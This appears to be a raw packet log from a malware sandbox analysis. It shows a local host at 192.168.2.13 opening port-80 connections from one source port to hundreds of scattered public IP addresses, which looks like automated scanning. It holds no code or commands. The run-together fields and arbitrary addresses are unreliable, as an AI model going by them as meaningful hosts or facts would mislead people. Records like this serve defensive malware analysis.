                                                  Feb 4, 2025 18:08:31.992975950 CET8046047219.243.149.152192.168.2.13
                                                  Feb 4, 2025 18:08:31.992976904 CET4604780192.168.2.132.147.248.146
                                                  Feb 4, 2025 18:08:31.992981911 CET4604780192.168.2.13149.194.23.52
                                                  Feb 4, 2025 18:08:31.992985964 CET8046047141.185.123.179192.168.2.13
                                                  Feb 4, 2025 18:08:31.992994070 CET4604780192.168.2.1370.70.143.67
                                                  Feb 4, 2025 18:08:31.992995977 CET4604780192.168.2.13143.226.151.79
                                                  Feb 4, 2025 18:08:31.992996931 CET8046047216.52.113.177192.168.2.13
                                                  Feb 4, 2025 18:08:31.993007898 CET8046047123.62.184.113192.168.2.13
                                                  Feb 4, 2025 18:08:31.993010044 CET4604780192.168.2.13219.243.149.152
                                                  Feb 4, 2025 18:08:31.993017912 CET804604740.121.151.132192.168.2.13
                                                  Feb 4, 2025 18:08:31.993027925 CET4604780192.168.2.13216.52.113.177
                                                  Feb 4, 2025 18:08:31.993029118 CET8046047105.0.204.211192.168.2.13
                                                  Feb 4, 2025 18:08:31.993030071 CET4604780192.168.2.13141.185.123.179
                                                  Feb 4, 2025 18:08:31.993036985 CET4604780192.168.2.13123.62.184.113
                                                  Feb 4, 2025 18:08:31.993040085 CET8046047137.121.234.34192.168.2.13
                                                  Feb 4, 2025 18:08:31.993047953 CET4604780192.168.2.1340.121.151.132
                                                  Feb 4, 2025 18:08:31.993050098 CET8046047222.255.131.197192.168.2.13
                                                  Feb 4, 2025 18:08:31.993061066 CET8046047147.146.221.123192.168.2.13
                                                  Feb 4, 2025 18:08:31.993063927 CET4604780192.168.2.13105.0.204.211
                                                  Feb 4, 2025 18:08:31.993079901 CET4604780192.168.2.13137.121.234.34
                                                  Feb 4, 2025 18:08:31.993081093 CET4604780192.168.2.13222.255.131.197
                                                  Feb 4, 2025 18:08:31.993088007 CET4604780192.168.2.13147.146.221.123
                                                  Feb 4, 2025 18:08:31.993268013 CET8046047131.109.205.2192.168.2.13
                                                  Feb 4, 2025 18:08:31.993278980 CET8046047176.48.230.124192.168.2.13
                                                  Feb 4, 2025 18:08:31.993288040 CET8046047138.230.1.208192.168.2.13
                                                  Feb 4, 2025 18:08:31.993297100 CET804604725.66.40.161192.168.2.13
                                                  Feb 4, 2025 18:08:31.993308067 CET4604780192.168.2.13131.109.205.2
                                                  Feb 4, 2025 18:08:31.993308067 CET4604780192.168.2.13176.48.230.124
                                                  Feb 4, 2025 18:08:31.993324995 CET4604780192.168.2.13138.230.1.208
                                                  Feb 4, 2025 18:08:31.993326902 CET4604780192.168.2.1325.66.40.161
                                                  Feb 4, 2025 18:08:31.993355989 CET8046047182.27.34.119192.168.2.13
                                                  Feb 4, 2025 18:08:31.993366957 CET804604776.48.11.227192.168.2.13
                                                  Feb 4, 2025 18:08:31.993376017 CET8046047157.90.219.194192.168.2.13
                                                  Feb 4, 2025 18:08:31.993385077 CET804604731.28.13.104192.168.2.13
                                                  Feb 4, 2025 18:08:31.993393898 CET4604780192.168.2.13182.27.34.119
                                                  Feb 4, 2025 18:08:31.993398905 CET4604780192.168.2.1376.48.11.227
                                                  Feb 4, 2025 18:08:31.993402004 CET8046047136.117.115.8192.168.2.13
                                                  Feb 4, 2025 18:08:31.993408918 CET4604780192.168.2.13157.90.219.194
                                                  Feb 4, 2025 18:08:31.993411064 CET804604776.135.131.159192.168.2.13
                                                  Feb 4, 2025 18:08:31.993421078 CET804604751.81.67.183192.168.2.13
                                                  Feb 4, 2025 18:08:31.993429899 CET8046047178.130.162.67192.168.2.13
                                                  Feb 4, 2025 18:08:31.993432999 CET4604780192.168.2.1331.28.13.104
                                                  Feb 4, 2025 18:08:31.993432999 CET4604780192.168.2.13136.117.115.8
                                                  Feb 4, 2025 18:08:31.993441105 CET8046047119.30.8.18192.168.2.13
                                                  Feb 4, 2025 18:08:31.993448973 CET4604780192.168.2.1351.81.67.183
                                                  Feb 4, 2025 18:08:31.993448973 CET4604780192.168.2.1376.135.131.159
                                                  Feb 4, 2025 18:08:31.993472099 CET4604780192.168.2.13178.130.162.67
                                                  Feb 4, 2025 18:08:31.993477106 CET4604780192.168.2.13119.30.8.18
                                                  Feb 4, 2025 18:08:31.993490934 CET8046047173.92.206.183192.168.2.13
                                                  Feb 4, 2025 18:08:31.993501902 CET8046047221.220.205.34192.168.2.13
                                                  Feb 4, 2025 18:08:31.993513107 CET8046047163.204.119.58192.168.2.13
                                                  Feb 4, 2025 18:08:31.993522882 CET804604750.45.176.46192.168.2.13
                                                  Feb 4, 2025 18:08:31.993525028 CET4604780192.168.2.13173.92.206.183
                                                  Feb 4, 2025 18:08:31.993532896 CET8046047170.130.83.89192.168.2.13
                                                  Feb 4, 2025 18:08:31.993539095 CET4604780192.168.2.13221.220.205.34
                                                  Feb 4, 2025 18:08:31.993541002 CET4604780192.168.2.13163.204.119.58
                                                  Feb 4, 2025 18:08:31.993545055 CET8046047140.135.195.155192.168.2.13
                                                  Feb 4, 2025 18:08:31.993563890 CET8046047207.175.73.247192.168.2.13
                                                  Feb 4, 2025 18:08:31.993563890 CET4604780192.168.2.1350.45.176.46
                                                  Feb 4, 2025 18:08:31.993565083 CET4604780192.168.2.13170.130.83.89
                                                  Feb 4, 2025 18:08:31.993575096 CET8046047195.45.157.106192.168.2.13
                                                  Feb 4, 2025 18:08:31.993581057 CET4604780192.168.2.13140.135.195.155
                                                  Feb 4, 2025 18:08:31.993586063 CET804604761.79.5.217192.168.2.13
                                                  Feb 4, 2025 18:08:31.993596077 CET4604780192.168.2.13207.175.73.247
                                                  Feb 4, 2025 18:08:31.993597031 CET804604727.51.172.12192.168.2.13
                                                  Feb 4, 2025 18:08:31.993607998 CET8046047157.53.200.220192.168.2.13
                                                  Feb 4, 2025 18:08:31.993608952 CET4604780192.168.2.13195.45.157.106
                                                  Feb 4, 2025 18:08:31.993619919 CET8046047162.248.100.133192.168.2.13
                                                  Feb 4, 2025 18:08:31.993623972 CET4604780192.168.2.1361.79.5.217
                                                  Feb 4, 2025 18:08:31.993629932 CET8046047112.49.208.38192.168.2.13
                                                  Feb 4, 2025 18:08:31.993633986 CET4604780192.168.2.1327.51.172.12
                                                  Feb 4, 2025 18:08:31.993640900 CET4604780192.168.2.13157.53.200.220
                                                  Feb 4, 2025 18:08:31.993642092 CET804604747.252.120.171192.168.2.13
                                                  Feb 4, 2025 18:08:31.993652105 CET8046047184.246.209.255192.168.2.13
                                                  Feb 4, 2025 18:08:31.993659019 CET4604780192.168.2.13162.248.100.133
                                                  Feb 4, 2025 18:08:31.993674994 CET4604780192.168.2.13112.49.208.38
                                                  Feb 4, 2025 18:08:31.993676901 CET4604780192.168.2.1347.252.120.171
                                                  Feb 4, 2025 18:08:31.993685007 CET4604780192.168.2.13184.246.209.255
                                                  Feb 4, 2025 18:08:31.994039059 CET8046047104.236.160.251192.168.2.13
                                                  Feb 4, 2025 18:08:31.994050026 CET804604723.0.119.66192.168.2.13
                                                  Feb 4, 2025 18:08:31.994060040 CET8046047110.27.9.183192.168.2.13
                                                  Feb 4, 2025 18:08:31.994070053 CET8046047205.251.246.11192.168.2.13
                                                  Feb 4, 2025 18:08:31.994079113 CET4604780192.168.2.1323.0.119.66
                                                  Feb 4, 2025 18:08:31.994081020 CET80460474.182.41.58192.168.2.13
                                                  Feb 4, 2025 18:08:31.994081974 CET4604780192.168.2.13104.236.160.251
                                                  Feb 4, 2025 18:08:31.994088888 CET4604780192.168.2.13110.27.9.183
                                                  Feb 4, 2025 18:08:31.994091988 CET8046047200.177.236.82192.168.2.13
                                                  Feb 4, 2025 18:08:31.994097948 CET4604780192.168.2.13205.251.246.11
                                                  Feb 4, 2025 18:08:31.994102955 CET8046047156.54.125.224192.168.2.13
                                                  Feb 4, 2025 18:08:31.994112968 CET804604793.126.159.249192.168.2.13
                                                  Feb 4, 2025 18:08:31.994116068 CET4604780192.168.2.134.182.41.58
                                                  Feb 4, 2025 18:08:31.994128942 CET4604780192.168.2.13200.177.236.82
                                                  Feb 4, 2025 18:08:31.994132996 CET4604780192.168.2.13156.54.125.224
                                                  Feb 4, 2025 18:08:31.994132996 CET804604763.245.38.224192.168.2.13
                                                  Feb 4, 2025 18:08:31.994144917 CET804604773.4.69.240192.168.2.13
                                                  Feb 4, 2025 18:08:31.994149923 CET4604780192.168.2.1393.126.159.249
                                                  Feb 4, 2025 18:08:31.994154930 CET8046047188.217.30.160192.168.2.13
                                                  Feb 4, 2025 18:08:31.994165897 CET804604739.124.175.138192.168.2.13
                                                  Feb 4, 2025 18:08:31.994174957 CET804604746.114.221.213192.168.2.13
                                                  Feb 4, 2025 18:08:31.994179010 CET4604780192.168.2.1363.245.38.224
                                                  Feb 4, 2025 18:08:31.994179010 CET4604780192.168.2.1373.4.69.240
                                                  Feb 4, 2025 18:08:31.994184971 CET804604778.165.104.16192.168.2.13
                                                  Feb 4, 2025 18:08:31.994189024 CET4604780192.168.2.13188.217.30.160
                                                  Feb 4, 2025 18:08:31.994194984 CET804604760.216.177.165192.168.2.13
                                                  Feb 4, 2025 18:08:31.994200945 CET4604780192.168.2.1346.114.221.213
                                                  Feb 4, 2025 18:08:31.994201899 CET4604780192.168.2.1339.124.175.138
                                                  Feb 4, 2025 18:08:31.994204998 CET8046047110.154.189.103192.168.2.13
                                                  Feb 4, 2025 18:08:31.994215012 CET8046047170.174.180.225192.168.2.13
                                                  Feb 4, 2025 18:08:31.994216919 CET4604780192.168.2.1378.165.104.16
                                                  Feb 4, 2025 18:08:31.994225025 CET8046047101.110.15.29192.168.2.13
                                                  Feb 4, 2025 18:08:31.994235039 CET804604761.212.129.83192.168.2.13
                                                  Feb 4, 2025 18:08:31.994235992 CET4604780192.168.2.1360.216.177.165
                                                  Feb 4, 2025 18:08:31.994235992 CET4604780192.168.2.13110.154.189.103
                                                  Feb 4, 2025 18:08:31.994236946 CET4604780192.168.2.13170.174.180.225
                                                  Feb 4, 2025 18:08:31.994249105 CET4604780192.168.2.13101.110.15.29
                                                  Feb 4, 2025 18:08:31.994267941 CET8046047137.126.193.147192.168.2.13
                                                  Feb 4, 2025 18:08:31.994271994 CET4604780192.168.2.1361.212.129.83
                                                  Feb 4, 2025 18:08:31.994278908 CET8046047178.130.191.42192.168.2.13
                                                  Feb 4, 2025 18:08:31.994288921 CET804604783.96.112.172192.168.2.13
                                                  Feb 4, 2025 18:08:31.994297981 CET8046047159.181.83.212192.168.2.13
                                                  Feb 4, 2025 18:08:31.994302988 CET4604780192.168.2.13137.126.193.147
                                                  Feb 4, 2025 18:08:31.994308949 CET804604788.16.37.22192.168.2.13
                                                  Feb 4, 2025 18:08:31.994313002 CET4604780192.168.2.13178.130.191.42
                                                  Feb 4, 2025 18:08:31.994314909 CET4604780192.168.2.1383.96.112.172
                                                  Feb 4, 2025 18:08:31.994318962 CET8046047192.207.172.161192.168.2.13
                                                  Feb 4, 2025 18:08:31.994327068 CET4604780192.168.2.13159.181.83.212
                                                  Feb 4, 2025 18:08:31.994329929 CET8046047142.221.236.204192.168.2.13
                                                  Feb 4, 2025 18:08:31.994338989 CET804604746.138.29.99192.168.2.13
                                                  Feb 4, 2025 18:08:31.994349003 CET804604739.106.29.41192.168.2.13
                                                  Feb 4, 2025 18:08:31.994349003 CET4604780192.168.2.1388.16.37.22
                                                  Feb 4, 2025 18:08:31.994350910 CET4604780192.168.2.13192.207.172.161
                                                  Feb 4, 2025 18:08:31.994353056 CET4604780192.168.2.13142.221.236.204
                                                  Feb 4, 2025 18:08:31.994366884 CET4604780192.168.2.1346.138.29.99
                                                  Feb 4, 2025 18:08:31.994378090 CET4604780192.168.2.1339.106.29.41
                                                  Feb 4, 2025 18:08:31.994565010 CET8046047115.133.170.55192.168.2.13
                                                  Feb 4, 2025 18:08:31.994575977 CET8046047120.121.13.223192.168.2.13
                                                  Feb 4, 2025 18:08:31.994585991 CET8046047163.76.34.168192.168.2.13
                                                  Feb 4, 2025 18:08:31.994596004 CET8046047111.79.99.58192.168.2.13
                                                  Feb 4, 2025 18:08:31.994605064 CET4604780192.168.2.13115.133.170.55
                                                  Feb 4, 2025 18:08:31.994606018 CET804604764.124.168.109192.168.2.13
                                                  Feb 4, 2025 18:08:31.994607925 CET4604780192.168.2.13120.121.13.223
                                                  Feb 4, 2025 18:08:31.994613886 CET4604780192.168.2.13163.76.34.168
                                                  Feb 4, 2025 18:08:31.994616985 CET804604717.235.122.178192.168.2.13
                                                  Feb 4, 2025 18:08:31.994626045 CET4604780192.168.2.13111.79.99.58
                                                  Feb 4, 2025 18:08:31.994626999 CET804604780.81.107.62192.168.2.13
                                                  Feb 4, 2025 18:08:31.994637012 CET4604780192.168.2.1364.124.168.109
                                                  Feb 4, 2025 18:08:31.994637012 CET4604780192.168.2.1317.235.122.178
                                                  Feb 4, 2025 18:08:31.994637966 CET8046047155.11.244.140192.168.2.13
                                                  Feb 4, 2025 18:08:31.994657993 CET804604792.116.4.213192.168.2.13
                                                  Feb 4, 2025 18:08:31.994657993 CET4604780192.168.2.1380.81.107.62
                                                  Feb 4, 2025 18:08:31.994667053 CET4604780192.168.2.13155.11.244.140
                                                  Feb 4, 2025 18:08:31.994668007 CET804604792.173.250.0192.168.2.13
                                                  Feb 4, 2025 18:08:31.994678020 CET804604737.239.65.208192.168.2.13
                                                  Feb 4, 2025 18:08:31.994688988 CET8046047142.55.34.99192.168.2.13
                                                  Feb 4, 2025 18:08:31.994693995 CET4604780192.168.2.1392.173.250.0
                                                  Feb 4, 2025 18:08:31.994699001 CET4604780192.168.2.1392.116.4.213
                                                  Feb 4, 2025 18:08:31.994699955 CET8046047194.245.184.112192.168.2.13
                                                  Feb 4, 2025 18:08:31.994707108 CET4604780192.168.2.1337.239.65.208
                                                  Feb 4, 2025 18:08:31.994709015 CET8046047118.188.64.61192.168.2.13
                                                  Feb 4, 2025 18:08:31.994719982 CET804604782.173.193.100192.168.2.13
                                                  Feb 4, 2025 18:08:31.994724035 CET4604780192.168.2.13142.55.34.99
                                                  Feb 4, 2025 18:08:31.994729996 CET804604739.164.13.8192.168.2.13
                                                  Feb 4, 2025 18:08:31.994738102 CET4604780192.168.2.13194.245.184.112
                                                  Feb 4, 2025 18:08:31.994739056 CET804604765.69.75.232192.168.2.13
                                                  Feb 4, 2025 18:08:31.994740963 CET4604780192.168.2.13118.188.64.61
                                                  Feb 4, 2025 18:08:31.994750023 CET8046047102.126.171.22192.168.2.13
                                                  Feb 4, 2025 18:08:31.994752884 CET4604780192.168.2.1382.173.193.100
                                                  Feb 4, 2025 18:08:31.994756937 CET4604780192.168.2.1339.164.13.8
                                                  Feb 4, 2025 18:08:31.994760990 CET804604781.127.53.188192.168.2.13
                                                  Feb 4, 2025 18:08:31.994771957 CET80460475.103.150.62192.168.2.13
                                                  Feb 4, 2025 18:08:31.994780064 CET4604780192.168.2.1365.69.75.232
                                                  Feb 4, 2025 18:08:31.994781017 CET804604799.92.170.21192.168.2.13
                                                  Feb 4, 2025 18:08:31.994780064 CET4604780192.168.2.1381.127.53.188
                                                  Feb 4, 2025 18:08:31.994782925 CET4604780192.168.2.13102.126.171.22
                                                  Feb 4, 2025 18:08:31.994795084 CET8046047209.38.72.195192.168.2.13
                                                  Feb 4, 2025 18:08:31.994801044 CET4604780192.168.2.135.103.150.62
                                                  Feb 4, 2025 18:08:31.994807005 CET804604773.43.81.38192.168.2.13
                                                  Feb 4, 2025 18:08:31.994817972 CET804604731.158.164.180192.168.2.13
                                                  Feb 4, 2025 18:08:31.994822979 CET4604780192.168.2.1399.92.170.21
                                                  Feb 4, 2025 18:08:31.994822979 CET4604780192.168.2.13209.38.72.195
                                                  Feb 4, 2025 18:08:31.994828939 CET8046047155.165.108.218192.168.2.13
                                                  Feb 4, 2025 18:08:31.994839907 CET4604780192.168.2.1373.43.81.38
                                                  Feb 4, 2025 18:08:31.994842052 CET804604796.234.149.131192.168.2.13
                                                  Feb 4, 2025 18:08:31.994847059 CET4604780192.168.2.1331.158.164.180
                                                  Feb 4, 2025 18:08:31.994853973 CET804604763.203.184.231192.168.2.13
                                                  Feb 4, 2025 18:08:31.994863987 CET8046047139.27.253.107192.168.2.13
                                                  Feb 4, 2025 18:08:31.994863987 CET4604780192.168.2.13155.165.108.218
                                                  Feb 4, 2025 18:08:31.994879007 CET4604780192.168.2.1396.234.149.131
                                                  Feb 4, 2025 18:08:31.994891882 CET4604780192.168.2.1363.203.184.231
                                                  Feb 4, 2025 18:08:31.994900942 CET4604780192.168.2.13139.27.253.107
                                                  Feb 4, 2025 18:08:31.995206118 CET804604785.23.216.167192.168.2.13
                                                  Feb 4, 2025 18:08:31.995215893 CET804604739.170.84.128192.168.2.13
                                                  Feb 4, 2025 18:08:31.995225906 CET804604770.183.216.172192.168.2.13
                                                  Feb 4, 2025 18:08:31.995234966 CET8046047222.122.84.16192.168.2.13
                                                  Feb 4, 2025 18:08:31.995242119 CET4604780192.168.2.1385.23.216.167
                                                  Feb 4, 2025 18:08:31.995244980 CET804604797.156.45.87192.168.2.13
                                                  Feb 4, 2025 18:08:31.995249987 CET4604780192.168.2.1339.170.84.128
                                                  Feb 4, 2025 18:08:31.995254040 CET804604770.64.122.135192.168.2.13
                                                  Feb 4, 2025 18:08:31.995265961 CET8046047147.33.92.117192.168.2.13
                                                  Feb 4, 2025 18:08:31.995270967 CET4604780192.168.2.1370.183.216.172
                                                  Feb 4, 2025 18:08:31.995274067 CET4604780192.168.2.13222.122.84.16
                                                  Feb 4, 2025 18:08:31.995277882 CET4604780192.168.2.1397.156.45.87
                                                  Feb 4, 2025 18:08:31.995282888 CET804604797.193.239.80192.168.2.13
                                                  Feb 4, 2025 18:08:31.995292902 CET8046047212.76.68.188192.168.2.13
                                                  Feb 4, 2025 18:08:31.995292902 CET4604780192.168.2.1370.64.122.135
                                                  Feb 4, 2025 18:08:31.995296955 CET4604780192.168.2.13147.33.92.117
                                                  Feb 4, 2025 18:08:31.995297909 CET8046047149.88.188.94192.168.2.13
                                                  Feb 4, 2025 18:08:31.995302916 CET8046047210.139.105.43192.168.2.13
                                                  Feb 4, 2025 18:08:31.995307922 CET8046047176.240.165.229192.168.2.13
                                                  Feb 4, 2025 18:08:31.995317936 CET804604741.166.157.224192.168.2.13
                                                  Feb 4, 2025 18:08:31.995327950 CET8046047198.244.241.158192.168.2.13
                                                  Feb 4, 2025 18:08:31.995335102 CET8046047122.229.28.33192.168.2.13
                                                  Feb 4, 2025 18:08:31.995338917 CET8046047137.21.157.152192.168.2.13
                                                  Feb 4, 2025 18:08:31.995343924 CET8046047143.139.218.27192.168.2.13
                                                  Feb 4, 2025 18:08:31.995348930 CET804604752.228.166.120192.168.2.13
                                                  Feb 4, 2025 18:08:31.995352983 CET804604743.196.15.8192.168.2.13
                                                  Feb 4, 2025 18:08:31.995357990 CET8046047115.185.98.153192.168.2.13
                                                  Feb 4, 2025 18:08:31.995362997 CET8046047195.153.20.223192.168.2.13
                                                  Feb 4, 2025 18:08:31.995369911 CET4604780192.168.2.1397.193.239.80
                                                  Feb 4, 2025 18:08:31.995373964 CET804604764.152.115.63192.168.2.13
                                                  Feb 4, 2025 18:08:31.995378971 CET4604780192.168.2.13149.88.188.94
                                                  Feb 4, 2025 18:08:31.995384932 CET4604780192.168.2.13143.139.218.27
                                                  Feb 4, 2025 18:08:31.995388031 CET4604780192.168.2.13210.139.105.43
                                                  Feb 4, 2025 18:08:31.995388031 CET4604780192.168.2.13137.21.157.152
                                                  Feb 4, 2025 18:08:31.995388031 CET4604780192.168.2.1352.228.166.120
                                                  Feb 4, 2025 18:08:31.995389938 CET4604780192.168.2.13176.240.165.229
                                                  Feb 4, 2025 18:08:31.995393991 CET4604780192.168.2.13198.244.241.158
                                                  Feb 4, 2025 18:08:31.995394945 CET4604780192.168.2.1341.166.157.224
                                                  Feb 4, 2025 18:08:31.995394945 CET4604780192.168.2.1343.196.15.8
                                                  Feb 4, 2025 18:08:31.995400906 CET4604780192.168.2.13212.76.68.188
                                                  Feb 4, 2025 18:08:31.995400906 CET4604780192.168.2.13122.229.28.33
                                                  Feb 4, 2025 18:08:31.995415926 CET4604780192.168.2.13115.185.98.153
                                                  Feb 4, 2025 18:08:31.995418072 CET4604780192.168.2.13195.153.20.223
                                                  Feb 4, 2025 18:08:31.995433092 CET4604780192.168.2.1364.152.115.63
                                                  Feb 4, 2025 18:08:31.995439053 CET8046047126.106.79.155192.168.2.13
                                                  Feb 4, 2025 18:08:31.995450020 CET804604748.168.228.227192.168.2.13
                                                  Feb 4, 2025 18:08:31.995460033 CET8046047182.143.130.66192.168.2.13
                                                  Feb 4, 2025 18:08:31.995471001 CET8046047162.32.134.88192.168.2.13
                                                  Feb 4, 2025 18:08:31.995476961 CET4604780192.168.2.13126.106.79.155
                                                  Feb 4, 2025 18:08:31.995476961 CET4604780192.168.2.1348.168.228.227
                                                  Feb 4, 2025 18:08:31.995481968 CET804604785.242.94.184192.168.2.13
                                                  Feb 4, 2025 18:08:31.995492935 CET804604725.168.195.218192.168.2.13
                                                  Feb 4, 2025 18:08:31.995498896 CET4604780192.168.2.13182.143.130.66
                                                  Feb 4, 2025 18:08:31.995502949 CET4604780192.168.2.13162.32.134.88
                                                  Feb 4, 2025 18:08:31.995517969 CET4604780192.168.2.1385.242.94.184
                                                  Feb 4, 2025 18:08:31.995521069 CET4604780192.168.2.1325.168.195.218
                                                  Feb 4, 2025 18:08:31.995826960 CET804604776.220.131.40192.168.2.13
                                                  Feb 4, 2025 18:08:31.995848894 CET8046047101.139.149.160192.168.2.13
                                                  Feb 4, 2025 18:08:31.995858908 CET8046047124.12.67.102192.168.2.13
                                                  Feb 4, 2025 18:08:31.995873928 CET4604780192.168.2.1376.220.131.40
                                                  Feb 4, 2025 18:08:31.995876074 CET804604748.74.56.208192.168.2.13
                                                  Feb 4, 2025 18:08:31.995879889 CET4604780192.168.2.13101.139.149.160
                                                  Feb 4, 2025 18:08:31.995887041 CET8046047189.156.204.160192.168.2.13
                                                  Feb 4, 2025 18:08:31.995892048 CET4604780192.168.2.13124.12.67.102
                                                  Feb 4, 2025 18:08:31.995897055 CET8046047168.171.223.207192.168.2.13
                                                  Feb 4, 2025 18:08:31.995898962 CET4604780192.168.2.1348.74.56.208
                                                  Feb 4, 2025 18:08:31.995908022 CET8046047143.70.233.111192.168.2.13
                                                  Feb 4, 2025 18:08:31.995914936 CET4604780192.168.2.13189.156.204.160
                                                  Feb 4, 2025 18:08:31.995918036 CET804604737.74.32.156192.168.2.13
                                                  Feb 4, 2025 18:08:31.995929003 CET804604762.59.48.222192.168.2.13
                                                  Feb 4, 2025 18:08:31.995932102 CET4604780192.168.2.13168.171.223.207
                                                  Feb 4, 2025 18:08:31.995939970 CET804604731.146.82.56192.168.2.13
                                                  Feb 4, 2025 18:08:31.995943069 CET4604780192.168.2.13143.70.233.111
                                                  Feb 4, 2025 18:08:31.995944023 CET4604780192.168.2.1337.74.32.156
                                                  Feb 4, 2025 18:08:31.995949984 CET8046047105.106.255.116192.168.2.13
                                                  Feb 4, 2025 18:08:31.995960951 CET804604799.91.229.150192.168.2.13
                                                  Feb 4, 2025 18:08:31.995965958 CET4604780192.168.2.1362.59.48.222
                                                  Feb 4, 2025 18:08:31.995970011 CET804604753.203.121.154192.168.2.13
                                                  Feb 4, 2025 18:08:31.995973110 CET4604780192.168.2.1331.146.82.56
                                                  Feb 4, 2025 18:08:31.995980024 CET804604724.191.85.67192.168.2.13
                                                  Feb 4, 2025 18:08:31.995986938 CET4604780192.168.2.13105.106.255.116
                                                  Feb 4, 2025 18:08:31.995989084 CET4604780192.168.2.1399.91.229.150
                                                  Feb 4, 2025 18:08:31.995990038 CET804604720.108.183.236192.168.2.13
                                                  Feb 4, 2025 18:08:31.996001005 CET8046047199.65.185.127192.168.2.13
                                                  Feb 4, 2025 18:08:31.996007919 CET4604780192.168.2.1353.203.121.154
                                                  Feb 4, 2025 18:08:31.996011972 CET8046047153.167.153.137192.168.2.13
                                                  Feb 4, 2025 18:08:31.996014118 CET4604780192.168.2.1324.191.85.67
                                                  Feb 4, 2025 18:08:31.996022940 CET4604780192.168.2.1320.108.183.236
                                                  Feb 4, 2025 18:08:31.996022940 CET8046047119.238.40.121192.168.2.13
                                                  Feb 4, 2025 18:08:31.996030092 CET4604780192.168.2.13199.65.185.127
                                                  Feb 4, 2025 18:08:31.996033907 CET8046047210.180.255.46192.168.2.13
                                                  Feb 4, 2025 18:08:31.996045113 CET4604780192.168.2.13153.167.153.137
                                                  Feb 4, 2025 18:08:31.996045113 CET804604773.19.231.141192.168.2.13
                                                  Feb 4, 2025 18:08:31.996053934 CET8046047176.179.113.199192.168.2.13
                                                  Feb 4, 2025 18:08:31.996061087 CET4604780192.168.2.13119.238.40.121
                                                  Feb 4, 2025 18:08:31.996063948 CET8046047151.234.234.198192.168.2.13
                                                  Feb 4, 2025 18:08:31.996073961 CET4604780192.168.2.13210.180.255.46
                                                  Feb 4, 2025 18:08:31.996073961 CET8046047112.19.212.176192.168.2.13
                                                  Feb 4, 2025 18:08:31.996073961 CET4604780192.168.2.1373.19.231.141
                                                  Feb 4, 2025 18:08:31.996085882 CET80460478.56.35.201192.168.2.13
                                                  Feb 4, 2025 18:08:31.996088982 CET4604780192.168.2.13176.179.113.199
                                                  Feb 4, 2025 18:08:31.996097088 CET804604794.181.171.204192.168.2.13
                                                  Feb 4, 2025 18:08:31.996104002 CET4604780192.168.2.13112.19.212.176
                                                  Feb 4, 2025 18:08:31.996107101 CET4604780192.168.2.13151.234.234.198
                                                  Feb 4, 2025 18:08:31.996108055 CET8046047179.135.182.191192.168.2.13
                                                  Feb 4, 2025 18:08:31.996120930 CET8046047220.163.204.99192.168.2.13
                                                  Feb 4, 2025 18:08:31.996121883 CET4604780192.168.2.138.56.35.201
                                                  Feb 4, 2025 18:08:31.996130943 CET8046047155.230.180.181192.168.2.13
                                                  Feb 4, 2025 18:08:31.996140003 CET4604780192.168.2.13179.135.182.191
                                                  Feb 4, 2025 18:08:31.996150017 CET4604780192.168.2.1394.181.171.204
                                                  Feb 4, 2025 18:08:31.996155977 CET4604780192.168.2.13220.163.204.99
                                                  Feb 4, 2025 18:08:31.996160984 CET4604780192.168.2.13155.230.180.181
                                                  Feb 4, 2025 18:08:31.996337891 CET8046047161.124.229.166192.168.2.13
                                                  Feb 4, 2025 18:08:31.996347904 CET8046047216.46.112.140192.168.2.13
                                                  Feb 4, 2025 18:08:31.996356964 CET8046047150.135.43.11192.168.2.13
                                                  Feb 4, 2025 18:08:31.996366978 CET8046047184.55.113.169192.168.2.13
                                                  Feb 4, 2025 18:08:31.996375084 CET4604780192.168.2.13161.124.229.166
                                                  Feb 4, 2025 18:08:31.996381044 CET4604780192.168.2.13216.46.112.140
                                                  Feb 4, 2025 18:08:31.996387959 CET4604780192.168.2.13150.135.43.11
                                                  Feb 4, 2025 18:08:31.996396065 CET4604780192.168.2.13184.55.113.169
                                                  Feb 4, 2025 18:08:31.996417999 CET8046047148.249.59.106192.168.2.13
                                                  Feb 4, 2025 18:08:31.996428967 CET804604740.151.206.125192.168.2.13
                                                  Feb 4, 2025 18:08:31.996437073 CET8046047103.78.210.134192.168.2.13
                                                  Feb 4, 2025 18:08:31.996454000 CET4604780192.168.2.13148.249.59.106
                                                  Feb 4, 2025 18:08:31.996454954 CET804604742.188.142.193192.168.2.13
                                                  Feb 4, 2025 18:08:31.996455908 CET4604780192.168.2.1340.151.206.125
                                                  Feb 4, 2025 18:08:31.996465921 CET804604785.161.97.120192.168.2.13
                                                  Feb 4, 2025 18:08:31.996473074 CET4604780192.168.2.13103.78.210.134
                                                  Feb 4, 2025 18:08:31.996474981 CET804604758.80.231.96192.168.2.13
                                                  Feb 4, 2025 18:08:31.996484995 CET8046047150.243.24.8192.168.2.13
                                                  Feb 4, 2025 18:08:31.996495008 CET8046047204.115.38.92192.168.2.13
                                                  Feb 4, 2025 18:08:31.996495008 CET4604780192.168.2.1342.188.142.193
                                                  Feb 4, 2025 18:08:31.996505022 CET8046047192.6.76.218192.168.2.13
                                                  Feb 4, 2025 18:08:31.996505976 CET4604780192.168.2.1358.80.231.96
                                                  Feb 4, 2025 18:08:31.996505976 CET4604780192.168.2.1385.161.97.120
                                                  Feb 4, 2025 18:08:31.996514082 CET8046047208.215.68.230192.168.2.13
                                                  Feb 4, 2025 18:08:31.996522903 CET4604780192.168.2.13150.243.24.8
                                                  Feb 4, 2025 18:08:31.996526003 CET8046047183.47.199.207192.168.2.13
                                                  Feb 4, 2025 18:08:31.996526957 CET4604780192.168.2.13204.115.38.92
                                                  Feb 4, 2025 18:08:31.996526957 CET4604780192.168.2.13192.6.76.218
                                                  Feb 4, 2025 18:08:31.996536016 CET8046047171.240.243.114192.168.2.13
                                                  Feb 4, 2025 18:08:31.996546030 CET4604780192.168.2.13208.215.68.230
                                                  Feb 4, 2025 18:08:31.996546030 CET804604765.239.64.90192.168.2.13
                                                  Feb 4, 2025 18:08:31.996556044 CET8046047125.110.23.227192.168.2.13
                                                  Feb 4, 2025 18:08:31.996563911 CET4604780192.168.2.13183.47.199.207
                                                  Feb 4, 2025 18:08:31.996567011 CET804604778.177.231.205192.168.2.13
                                                  Feb 4, 2025 18:08:31.996567011 CET4604780192.168.2.13171.240.243.114
                                                  Feb 4, 2025 18:08:31.996577024 CET804604744.47.9.65192.168.2.13
                                                  Feb 4, 2025 18:08:31.996587038 CET8046047111.104.8.254192.168.2.13
                                                  Feb 4, 2025 18:08:31.996587038 CET4604780192.168.2.1365.239.64.90
                                                  Feb 4, 2025 18:08:31.996589899 CET4604780192.168.2.13125.110.23.227
                                                  Feb 4, 2025 18:08:31.996597052 CET8046047161.140.67.34192.168.2.13
